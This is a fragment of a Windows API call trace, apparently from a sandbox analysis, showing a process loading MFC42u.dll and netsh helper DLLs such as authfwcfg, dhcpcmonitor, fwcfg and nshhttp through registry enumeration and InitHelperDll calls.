__dllonexit () returned 0x7ffca7a41200 [0135.808] __dllonexit () returned 0x7ffca7a411f0 [0135.808] __dllonexit () returned 0x7ffca7a41240 [0135.808] __dllonexit () returned 0x7ffca7a412a0 [0135.808] __dllonexit () returned 0x7ffca7a41390 [0135.809] __dllonexit () returned 0x7ffca7a413a0 [0135.809] __dllonexit () returned 0x7ffca7a41420 [0135.809] __dllonexit () returned 0x7ffca7a414c0 [0135.809] __dllonexit () returned 0x7ffca7a412c0 [0135.809] __dllonexit () returned 0x7ffca7a659c0 [0135.809] __dllonexit () returned 0x7ffca7a412e0 [0135.809] __dllonexit () returned 0x7ffca7a41470 [0135.809] __dllonexit () returned 0x7ffca7a41490 [0135.809] __dllonexit () returned 0x7ffca7a414e0 [0135.809] __dllonexit () returned 0x7ffca7a41500 [0135.809] __dllonexit () returned 0x7ffca7a41520 [0135.809] __dllonexit () returned 0x7ffca7a41550 [0135.809] __dllonexit () returned 0x7ffca7a41610 [0135.809] __dllonexit () returned 0x7ffca7a41050 [0135.810] __dllonexit () returned 0x7ffca7a41070 [0135.810] __dllonexit () returned 0x7ffca7a41030 [0135.811] RegisterClipboardFormatW (lpszFormat="commctrl_DragListMsg") returned 0xc154 [0135.811] __dllonexit () returned 0x7ffca7a659a0 [0135.811] __dllonexit () returned 0x7ffca7a65980 [0135.811] __dllonexit () returned 0x7ffca7a659b0 [0135.812] __dllonexit () returned 0x7ffca7a65990 [0135.812] GetVersion () returned 0x3ad7000a [0135.812] GetVersion () returned 0x3ad7000a [0135.812] GetVersion () returned 0x3ad7000a [0135.812] __dllonexit () returned 0x7ffca7a528e0 [0135.812] __dllonexit () returned 0x7ffca7a52910 [0135.812] __dllonexit () returned 0x7ffca7a41300 [0135.812] __dllonexit () returned 0x7ffca7a413b0 [0135.812] __dllonexit () returned 0x7ffca7a413d0 [0135.812] __dllonexit () returned 0x7ffca7a526e0 [0135.812] GetVersion () returned 0x3ad7000a [0135.812] GetProcessVersion (ProcessId=0x0) returned 0xa0000 [0135.812] GetSystemMetrics (nIndex=11) returned 32 [0135.812] GetSystemMetrics (nIndex=12) returned 32 [0135.812] GetSystemMetrics (nIndex=2) returned 17 [0135.812] GetSystemMetrics (nIndex=3) returned 17 [0135.812] GetDC (hWnd=0x0) returned 0x9010544 [0135.813] GetDeviceCaps (hdc=0x9010544, index=88) returned 96 [0135.813] GetDeviceCaps (hdc=0x9010544, index=90) returned 96 [0135.813] ReleaseDC (hWnd=0x0, hDC=0x9010544) returned 1 [0135.813] GetSysColor (nIndex=15) returned 0xf0f0f0 [0135.813] GetSysColor (nIndex=16) returned 0xa0a0a0 [0135.813] GetSysColor (nIndex=20) returned 0xffffff [0135.813] GetSysColor (nIndex=18) returned 0x0 [0135.813] GetSysColor (nIndex=6) returned 0x646464 [0135.813] GetSysColorBrush (nIndex=15) returned 0x100072 [0135.813] GetSysColorBrush (nIndex=6) returned 0x10007a [0135.813] LoadCursorW (hInstance=0x0, lpCursorName=0x7f02) returned 0x10007 [0135.813] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0135.813] __dllonexit () returned 0x7ffca7a41450 [0135.813] RegisterClipboardFormatW (lpszFormat="commdlg_FindReplace") returned 0xc153 [0135.813] __dllonexit () returned 0x7ffca7a526c0 [0135.813] RegisterClipboardFormatW (lpszFormat="Native") returned 0xc004 [0135.813] RegisterClipboardFormatW (lpszFormat="OwnerLink") returned 0xc003 [0135.813] RegisterClipboardFormatW (lpszFormat="ObjectLink") returned 0xc002 [0135.813] RegisterClipboardFormatW (lpszFormat="Embedded Object") returned 0xc00a [0135.813] RegisterClipboardFormatW (lpszFormat="Embed Source") returned 0xc00b [0135.813] RegisterClipboardFormatW (lpszFormat="Link Source") returned 0xc00d [0135.813] RegisterClipboardFormatW (lpszFormat="Object Descriptor") returned 0xc00e [0135.814] RegisterClipboardFormatW (lpszFormat="Link Source Descriptor") returned 0xc00f [0135.814] RegisterClipboardFormatW (lpszFormat="FileName") returned 0xc006 [0135.814] RegisterClipboardFormatW (lpszFormat="FileNameW") returned 0xc007 [0135.814] RegisterClipboardFormatW (lpszFormat="Rich Text Format") returned 0xc07a [0135.814] RegisterClipboardFormatW (lpszFormat="RichEdit Text and Objects") returned 0xc083 [0135.814] RegisterClipboardFormatW (lpszFormat="commdlg_FindReplace") returned 0xc153 [0135.814] __dllonexit () returned 0x7ffca7a659d0 [0135.814] __dllonexit () returned 0x7ffca7a659f0 [0135.814] __dllonexit () returned 0x7ffca7a65a00 [0135.815] __dllonexit () returned 0x7ffca7a65a10 [0135.815] __dllonexit () returned 0x7ffca7a65a20 [0135.815] GetCursorPos (in: lpPoint=0x7ffca7b85ae8 | out: lpPoint=0x7ffca7b85ae8*(x=1359, y=761)) returned 1 [0135.815] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2b4362407f0 [0135.815] LocalReAlloc (hMem=0x2b4362312a0, uBytes=0x18, uFlags=0x2) returned 0x2b436225390 [0135.815] GetCurrentThread () returned 0xfffffffffffffffe [0135.815] GetCurrentThreadId () returned 0x458 [0135.815] __dllonexit () returned 0x7ffca7a41620 [0135.815] SetErrorMode (uMode=0x0) returned 0x8001 [0135.815] SetErrorMode (uMode=0x8001) returned 0x0 [0135.816] GetModuleFileNameW (in: hModule=0x7ffca7a40000, lpFilename=0xf524ef6790, nSize=0x104 | out: lpFilename="C:\\WINDOWS\\system32\\MFC42u.dll" (normalized: "c:\\windows\\system32\\mfc42u.dll")) returned 0x1e [0135.816] wcscpy_s (in: _Destination=0xf524ef69a0, _SizeInWords=0x104, _Source="MFC42u" | out: _Destination="MFC42u") returned 0x0 [0135.816] FindResourceW (hModule=0x7ffca7a40000, lpName=0xe01, lpType=0x6) returned 0x2b4364f0bb0 [0135.817] LoadStringW (in: hInstance=0x7ffca7a40000, uID=0xe000, lpBuffer=0xf524ef6bb0, cchBufferMax=256 | out: lpBuffer="") returned 0x0 [0135.817] wcscpy_s (in: _Destination=0xf524ef67c4, _SizeInWords=0x5, _Source=".HLP" | out: _Destination=".HLP") returned 0x0 [0135.817] wcscat_s (in: _Destination="MFC42u", _SizeInWords=0x104, _Source=".INI" | out: _Destination="MFC42u.INI") returned 0x0 [0135.817] malloc (_Size=0x80) returned 0x2b436511610 [0135.818] LocalAlloc (uFlags=0x40, uBytes=0x2100) returned 0x2b436243120 [0135.818] GetSystemDirectoryA (in: lpBuffer=0xf524ef6e30, uSize=0x112 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0135.818] strcat_s (in: _Destination="C:\\WINDOWS\\system32", _SizeInBytes=0x112, _Source="\\MFC42" | out: _Destination="C:\\WINDOWS\\system32\\MFC42") returned 0x0 [0135.818] strcat_s (in: _Destination="C:\\WINDOWS\\system32\\MFC42", _SizeInBytes=0x112, _Source="LOC" | out: _Destination="C:\\WINDOWS\\system32\\MFC42LOC") returned 0x0 [0135.818] strcat_s (in: _Destination="C:\\WINDOWS\\system32\\MFC42LOC", _SizeInBytes=0x112, _Source=".DLL" | out: _Destination="C:\\WINDOWS\\system32\\MFC42LOC.DLL") returned 0x0 [0135.818] LoadLibraryExA (lpLibFileName="C:\\WINDOWS\\system32\\MFC42LOC.DLL", hFile=0x0, dwFlags=0x2) returned 0x0 [0135.818] GetProcAddress (hModule=0x7ffcb6ba0000, lpProcName="InitHelperDll") returned 0x7ffcb6bb5850 [0135.818] InitHelperDll () returned 0x0 [0135.819] RegisterHelper () returned 0x0 [0135.819] GetProcessHeap () returned 0x2b436220000 [0135.819] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x160) returned 0x2b43623abc0 [0135.819] GetProcessHeap () returned 0x2b436220000 [0135.819] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b4362242e0) returned 1 [0135.819] RegisterHelper () returned 0x0 [0135.819] GetProcessHeap () returned 0x2b436220000 [0135.819] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x1b8) returned 0x2b43623d290 [0135.819] GetProcessHeap () returned 0x2b436220000 [0135.819] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b43623abc0) returned 1 [0135.819] RegisterHelper () returned 0x0 [0135.819] GetProcessHeap () returned 0x2b436220000 [0135.819] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x210) returned 0x2b43623d450 [0135.819] GetProcessHeap () returned 0x2b436220000 [0135.819] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b43623d290) returned 1 [0135.819] RegisterHelper () returned 0x0 [0135.819] GetProcessHeap () returned 0x2b436220000 [0135.819] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x268) returned 0x2b436245230 [0135.819] GetProcessHeap () returned 0x2b436220000 [0135.819] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b43623d450) returned 1 [0135.819] RegisterHelper () returned 0x0 [0135.819] GetProcessHeap () returned 0x2b436220000 [0135.819] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x2c0) returned 0x2b43623d290 [0135.819] GetProcessHeap () returned 0x2b436220000 [0135.819] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b436245230) returned 1 [0135.819] RegEnumValueW (in: hKey=0xb4, dwIndex=0x2, lpValueName=0x2b436231240, lpcchValueName=0xf524ef77b0, lpReserved=0x0, lpType=0x0, lpData=0x2b436228620, lpcbData=0xf524ef7808 | out: lpValueName="authfwcfg", lpcchValueName=0xf524ef77b0, lpType=0x0, lpData=0x2b436228620, lpcbData=0xf524ef7808) returned 0x0 [0135.819] _wcsicmp (_String1="authfwcfg.dll", _String2="ipxmontr.dll") returned -8 [0135.819] _wcsicmp (_String1="authfwcfg.dll", _String2="ipxpromn.dll") returned -8 [0135.819] GetProcessHeap () returned 0x2b436220000 [0135.819] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0xa0) returned 0x2b4362252d0 [0135.820] GetProcessHeap () returned 0x2b436220000 [0135.820] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x14) returned 0x2b4362313e0 [0135.820] GetProcessHeap () returned 0x2b436220000 [0135.820] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x1c) returned 0x2b4362399c0 [0135.820] _wcsupr (in: _String="authfwcfg.dll" | out: _String="AUTHFWCFG.DLL") returned="AUTHFWCFG.DLL" [0135.820] GetProcessHeap () returned 0x2b436220000 [0135.820] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b436225030) returned 1 [0135.820] LoadLibraryExW (lpLibFileName="AUTHFWCFG.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffcb5d30000 [0135.846] GetProcAddress (hModule=0x7ffcb5d30000, lpProcName="InitHelperDll") returned 0x7ffcb5d31430 [0135.846] InitHelperDll () returned 0x0 [0135.846] RegisterHelper () returned 0x0 [0135.846] GetProcessHeap () returned 0x2b436220000 [0135.846] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x318) returned 0x2b436245a40 [0135.846] GetProcessHeap () returned 0x2b436220000 [0135.846] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b43623d290) returned 1 [0135.846] RegisterHelper () returned 0x0 [0135.846] GetProcessHeap () returned 0x2b436220000 [0135.846] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x370) returned 0x2b43623d290 [0135.847] GetProcessHeap () returned 0x2b436220000 [0135.847] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b436245a40) returned 1 [0135.847] RegisterHelper () returned 0x0 [0135.847] GetProcessHeap () returned 0x2b436220000 [0135.847] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x3c8) returned 0x2b436245a40 [0135.847] GetProcessHeap () returned 0x2b436220000 [0135.847] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b43623d290) returned 1 [0135.847] RegisterHelper () returned 0x0 [0135.847] GetProcessHeap () returned 0x2b436220000 [0135.847] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x420) returned 0x2b43623d290 [0135.847] GetProcessHeap () returned 0x2b436220000 [0135.847] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b436245a40) returned 1 [0135.847] RegisterHelper () returned 0x0 [0135.847] GetProcessHeap () returned 0x2b436220000 [0135.847] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x478) returned 0x2b436245a40 [0135.847] GetProcessHeap () returned 0x2b436220000 [0135.847] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b43623d290) returned 1 [0135.847] RegEnumValueW (in: hKey=0xb4, dwIndex=0x3, lpValueName=0x2b436231240, lpcchValueName=0xf524ef77b0, lpReserved=0x0, lpType=0x0, lpData=0x2b436228620, lpcbData=0xf524ef7808 | out: lpValueName="dhcpclient", lpcchValueName=0xf524ef77b0, lpType=0x0, lpData=0x2b436228620, lpcbData=0xf524ef7808) returned 0x0 [0135.847] _wcsicmp (_String1="dhcpcmonitor.dll", _String2="ipxmontr.dll") returned -5 [0135.847] _wcsicmp (_String1="dhcpcmonitor.dll", _String2="ipxpromn.dll") returned -5 [0135.847] GetProcessHeap () returned 0x2b436220000 [0135.847] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0xc8) returned 0x2b4362382c0 [0135.847] GetProcessHeap () returned 0x2b436220000 [0135.847] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x16) returned 0x2b4362454a0 [0135.847] GetProcessHeap () returned 0x2b436220000 [0135.847] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x22) returned 0x2b436246210 [0135.847] _wcsupr (in: _String="dhcpcmonitor.dll" | out: _String="DHCPCMONITOR.DLL") returned="DHCPCMONITOR.DLL" [0135.847] GetProcessHeap () returned 0x2b436220000 [0135.847] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b4362252d0) returned 1 [0135.847] LoadLibraryExW (lpLibFileName="DHCPCMONITOR.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffcb75a0000 [0135.856] GetProcAddress (hModule=0x7ffcb75a0000, lpProcName="InitHelperDll") returned 0x7ffcb75a1610 [0135.856] InitHelperDll () returned 0x0 [0135.856] RegisterHelper () returned 0x0 [0135.856] GetProcessHeap () returned 0x2b436220000 [0135.856] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x4d0) returned 0x2b43623d290 [0135.856] GetProcessHeap () returned 0x2b436220000 [0135.856] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b436245a40) returned 1 [0135.857] RegEnumValueW (in: hKey=0xb4, dwIndex=0x4, lpValueName=0x2b436231240, lpcchValueName=0xf524ef77b0, lpReserved=0x0, lpType=0x0, lpData=0x2b436228620, lpcbData=0xf524ef7808 | out: lpValueName="dot3cfg", lpcchValueName=0xf524ef77b0, lpType=0x0, lpData=0x2b436228620, lpcbData=0xf524ef7808) returned 0x0 [0135.857] _wcsicmp (_String1="dot3cfg.dll", _String2="ipxmontr.dll") returned -5 [0135.857] _wcsicmp (_String1="dot3cfg.dll", _String2="ipxpromn.dll") returned -5 [0135.857] GetProcessHeap () returned 0x2b436220000 [0135.857] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0xf0) returned 0x2b4362242e0 [0135.857] GetProcessHeap () returned 0x2b436220000 [0135.857] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b436245920 [0135.857] GetProcessHeap () returned 0x2b436220000 [0135.857] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x18) returned 0x2b4362453c0 [0135.857] _wcsupr (in: _String="dot3cfg.dll" | out: _String="DOT3CFG.DLL") returned="DOT3CFG.DLL" [0135.857] GetProcessHeap () returned 0x2b436220000 [0135.857] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b4362382c0) returned 1 [0135.857] LoadLibraryExW (lpLibFileName="DOT3CFG.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffcb6f40000 [0135.883] GetProcAddress (hModule=0x7ffcb6f40000, lpProcName="InitHelperDll") returned 0x7ffcb6f41100 [0135.883] InitHelperDll () returned 0x0 [0135.883] RegisterHelper () returned 0x0 [0135.883] GetProcessHeap () returned 0x2b436220000 [0135.883] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x528) returned 0x2b4362472f0 [0135.883] GetProcessHeap () returned 0x2b436220000 [0135.883] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b43623d290) returned 1 [0135.883] RegEnumValueW (in: hKey=0xb4, dwIndex=0x5, lpValueName=0x2b436231240, lpcchValueName=0xf524ef77b0, lpReserved=0x0, lpType=0x0, lpData=0x2b436228620, lpcbData=0xf524ef7808 | out: lpValueName="fwcfg", lpcchValueName=0xf524ef77b0, lpType=0x0, lpData=0x2b436228620, lpcbData=0xf524ef7808) returned 0x0 [0135.883] _wcsicmp (_String1="fwcfg.dll", _String2="ipxmontr.dll") returned -3 [0135.884] _wcsicmp (_String1="fwcfg.dll", _String2="ipxpromn.dll") returned -3 [0135.884] GetProcessHeap () returned 0x2b436220000 [0135.884] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x118) returned 0x2b43623abc0 [0135.884] GetProcessHeap () returned 0x2b436220000 [0135.884] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0xc) returned 0x2b436245a00 [0135.884] GetProcessHeap () returned 0x2b436220000 [0135.884] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x14) returned 0x2b436245320 [0135.884] _wcsupr (in: _String="fwcfg.dll" | out: _String="FWCFG.DLL") returned="FWCFG.DLL" [0135.884] GetProcessHeap () returned 0x2b436220000 [0135.884] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b4362242e0) returned 1 [0135.884] LoadLibraryExW (lpLibFileName="FWCFG.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffcb5cf0000 [0135.887] GetProcAddress (hModule=0x7ffcb5cf0000, lpProcName="InitHelperDll") returned 0x7ffcb5cf11f0 [0135.887] InitHelperDll () returned 0x0 [0135.887] RegisterHelper () returned 0x0 [0135.887] GetProcessHeap () returned 0x2b436220000 [0135.887] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x580) returned 0x2b436247820 [0135.887] GetProcessHeap () returned 0x2b436220000 [0135.887] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b4362472f0) returned 1 [0135.887] RegEnumValueW (in: hKey=0xb4, dwIndex=0x6, lpValueName=0x2b436231240, lpcchValueName=0xf524ef77b0, lpReserved=0x0, lpType=0x0, lpData=0x2b436228620, lpcbData=0xf524ef7808 | out: lpValueName="hnetmon", lpcchValueName=0xf524ef77b0, lpType=0x0, lpData=0x2b436228620, lpcbData=0xf524ef7808) returned 0x0 [0135.887] _wcsicmp (_String1="hnetmon.dll", _String2="ipxmontr.dll") returned -1 [0135.887] _wcsicmp (_String1="hnetmon.dll", _String2="ipxpromn.dll") returned -1 [0135.887] GetProcessHeap () returned 0x2b436220000 [0135.887] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x140) returned 0x2b436247db0 [0135.887] GetProcessHeap () returned 0x2b436220000 [0135.887] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b4362452a0 [0135.887] GetProcessHeap () returned 0x2b436220000 [0135.887] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x18) returned 0x2b436245380 [0135.887] _wcsupr (in: _String="hnetmon.dll" | out: _String="HNETMON.DLL") returned="HNETMON.DLL" [0135.887] GetProcessHeap () returned 0x2b436220000 [0135.887] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b43623abc0) returned 1 [0135.887] LoadLibraryExW (lpLibFileName="HNETMON.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffcb7590000 [0135.975] GetProcAddress (hModule=0x7ffcb7590000, lpProcName="InitHelperDll") returned 0x7ffcb7592060 [0135.975] InitHelperDll () returned 0x0 [0135.975] RegisterHelper () returned 0x0 [0135.975] GetProcessHeap () returned 0x2b436220000 [0135.975] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x5d8) returned 0x2b43624efd0 [0135.975] GetProcessHeap () returned 0x2b436220000 [0135.975] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b436247820) returned 1 [0135.975] RegEnumValueW (in: hKey=0xb4, dwIndex=0x7, lpValueName=0x2b436231240, lpcchValueName=0xf524ef77b0, lpReserved=0x0, lpType=0x0, lpData=0x2b436228620, lpcbData=0xf524ef7808 | out: lpValueName="netiohlp", lpcchValueName=0xf524ef77b0, lpType=0x0, lpData=0x2b436228620, lpcbData=0xf524ef7808) returned 0x0 [0135.975] _wcsicmp (_String1="netiohlp.dll", _String2="ipxmontr.dll") returned 5 [0135.975] _wcsicmp (_String1="netiohlp.dll", _String2="ipxpromn.dll") returned 5 [0135.975] GetProcessHeap () returned 0x2b436220000 [0135.975] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x168) returned 0x2b43623abc0 [0135.975] GetProcessHeap () returned 0x2b436220000 [0135.975] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x12) returned 0x2b436245560 [0135.975] GetProcessHeap () returned 0x2b436220000 [0135.975] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x1a) returned 0x2b43624f780 [0135.975] _wcsupr (in: _String="netiohlp.dll" | out: _String="NETIOHLP.DLL") returned="NETIOHLP.DLL" [0135.975] GetProcessHeap () returned 0x2b436220000 [0135.975] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b436247db0) returned 1 [0135.975] LoadLibraryExW (lpLibFileName="NETIOHLP.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffcb5cb0000 [0135.984] GetProcAddress (hModule=0x7ffcb5cb0000, lpProcName="InitHelperDll") returned 0x7ffcb5cc5f80 [0135.984] InitHelperDll () returned 0x0 [0135.984] RegisterHelper () returned 0x0 [0135.984] GetProcessHeap () returned 0x2b436220000 [0135.984] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x630) returned 0x2b436247820 [0135.984] GetProcessHeap () returned 0x2b436220000 [0135.984] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b43624efd0) returned 1 [0135.984] RegisterHelper () returned 0x0 [0135.984] GetProcessHeap () returned 0x2b436220000 [0135.984] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x688) returned 0x2b436250dd0 [0135.984] GetProcessHeap () returned 0x2b436220000 [0135.984] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b436247820) returned 1 [0135.984] RegisterHelper () returned 0x0 [0135.984] GetProcessHeap () returned 0x2b436220000 [0135.984] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x6e0) returned 0x2b436247820 [0135.984] GetProcessHeap () returned 0x2b436220000 [0135.984] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b436250dd0) returned 1 [0135.984] RegisterHelper () returned 0x0 [0135.984] GetProcessHeap () returned 0x2b436220000 [0135.984] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x738) returned 0x2b436250dd0 [0135.984] GetProcessHeap () returned 0x2b436220000 [0135.984] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b436247820) returned 1 [0135.984] RegisterHelper () returned 0x0 [0135.984] GetProcessHeap () returned 0x2b436220000 [0135.984] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x790) returned 0x2b436247820 [0135.984] GetProcessHeap () returned 0x2b436220000 [0135.985] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b436250dd0) returned 1 [0135.985] RegisterHelper () returned 0x0 [0135.985] GetProcessHeap () returned 0x2b436220000 [0135.985] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x7e8) returned 0x2b436250dd0 [0135.985] GetProcessHeap () returned 0x2b436220000 [0135.985] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b436247820) returned 1 [0135.985] RegisterHelper () returned 0x0 [0135.985] GetProcessHeap () returned 0x2b436220000 [0135.985] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x840) returned 0x2b4362515c0 [0135.985] GetProcessHeap () returned 0x2b436220000 [0135.985] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b436250dd0) returned 1 [0135.985] RegisterHelper () returned 0x0 [0135.985] GetProcessHeap () returned 0x2b436220000 [0135.985] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x898) returned 0x2b436251e10 [0135.985] GetProcessHeap () returned 0x2b436220000 [0135.985] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b4362515c0) returned 1 [0135.985] RegisterHelper () returned 0x0 [0135.985] GetProcessHeap () returned 0x2b436220000 [0135.985] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x8f0) returned 0x2b4362526b0 [0135.985] GetProcessHeap () returned 0x2b436220000 [0135.985] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b436251e10) returned 1 [0135.985] RegEnumValueW (in: hKey=0xb4, dwIndex=0x8, lpValueName=0x2b436231240, lpcchValueName=0xf524ef77b0, lpReserved=0x0, lpType=0x0, lpData=0x2b436228620, lpcbData=0xf524ef7808 | out: lpValueName="nettrace", lpcchValueName=0xf524ef77b0, lpType=0x0, lpData=0x2b436228620, lpcbData=0xf524ef7808) returned 0x0 [0135.985] _wcsicmp (_String1="nettrace.dll", _String2="ipxmontr.dll") returned 5 [0135.985] _wcsicmp (_String1="nettrace.dll", _String2="ipxpromn.dll") returned 5 [0135.985] GetProcessHeap () returned 0x2b436220000 [0135.985] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x190) returned 0x2b43623d290 [0135.990] GetProcessHeap () returned 0x2b436220000 [0135.991] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x12) returned 0x2b436245440 [0135.991] GetProcessHeap () returned 0x2b436220000 [0135.991] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x1a) returned 0x2b43624f7e0 [0135.991] _wcsupr (in: _String="nettrace.dll" | out: _String="NETTRACE.DLL") returned="NETTRACE.DLL" [0135.991] GetProcessHeap () returned 0x2b436220000 [0135.991] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b43623abc0) returned 1 [0135.991] LoadLibraryExW (lpLibFileName="NETTRACE.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffca7520000 [0136.008] GetProcAddress (hModule=0x7ffca7520000, lpProcName="InitHelperDll") returned 0x7ffca75215d0 [0136.008] InitHelperDll () returned 0x0 [0136.008] RegisterHelper () returned 0x0 [0136.008] GetProcessHeap () returned 0x2b436220000 [0136.008] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x948) returned 0x2b4362657f0 [0136.008] GetProcessHeap () returned 0x2b436220000 [0136.008] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b4362526b0) returned 1 [0136.008] RegEnumValueW (in: hKey=0xb4, dwIndex=0x9, lpValueName=0x2b436231240, lpcchValueName=0xf524ef77b0, lpReserved=0x0, lpType=0x0, lpData=0x2b436228620, lpcbData=0xf524ef7808 | out: lpValueName="nshhttp", lpcchValueName=0xf524ef77b0, lpType=0x0, lpData=0x2b436228620, lpcbData=0xf524ef7808) returned 0x0 [0136.008] _wcsicmp (_String1="nshhttp.dll", _String2="ipxmontr.dll") returned 5 [0136.008] _wcsicmp (_String1="nshhttp.dll", _String2="ipxpromn.dll") returned 5 [0136.008] GetProcessHeap () returned 0x2b436220000 [0136.008] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x1b8) returned 0x2b43624f3d0 [0136.008] GetProcessHeap () returned 0x2b436220000 [0136.008] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b4362540b0 [0136.008] GetProcessHeap () returned 0x2b436220000 [0136.008] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x18) returned 0x2b436254770 [0136.008] _wcsupr (in: _String="nshhttp.dll" | out: _String="NSHHTTP.DLL") returned="NSHHTTP.DLL" [0136.008] GetProcessHeap () returned 0x2b436220000 [0136.008] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b43623d290) returned 1 [0136.008] LoadLibraryExW (lpLibFileName="NSHHTTP.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffcb6b90000 [0136.013] GetProcAddress 